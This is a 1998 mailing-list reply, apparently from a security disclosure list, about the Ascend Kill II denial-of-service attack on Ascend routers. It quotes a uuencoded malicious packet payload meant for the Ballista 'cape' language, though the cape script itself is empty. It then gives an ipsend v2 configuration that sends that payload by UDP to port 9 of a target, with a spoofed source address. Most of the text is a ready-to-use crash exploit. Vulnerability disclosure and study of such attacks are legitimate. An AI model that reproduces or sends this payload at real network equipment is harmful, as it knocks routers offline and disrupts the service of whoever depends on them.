Re: Ascend Kill II - Ballista "cape" version

Darren Reed (avalon@COOMBS.ANU.EDU.AU)
Wed, 18 Mar 1998 12:43:29 +1100

In some mail from Aleph One, sie said:
>
> [ from rootshell ]
>
> Secure Networks makes security auditing software called Ballista. It has
> its own scripting language called cape. Here is a version of Ascend Kill II
> written in cape. Check out how small it is!
>
> -- cut here --
> -- cut here --
>
> Here is the data that cape needs. It is uuencoded.
>
> begin 644 ascend_data.uue
> M 'H@@2S/VD@0 2-%9X__________\ 3D%-14Y!345.04U%3D%-1?]0
> M05-35T]21%!!4U-73U)$4$%34V9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> M9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
> 99F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F9F
>
> end

Using that data file with ipsend v2:

interface { ifname le0; mtu 1500; };
ipv4 {
src 1.1.1.1; dst 10.0.0.2;
udp { sport 9; dport 9; data { file ascend_data.uue; }; };
};
send { via 10.0.0.1; };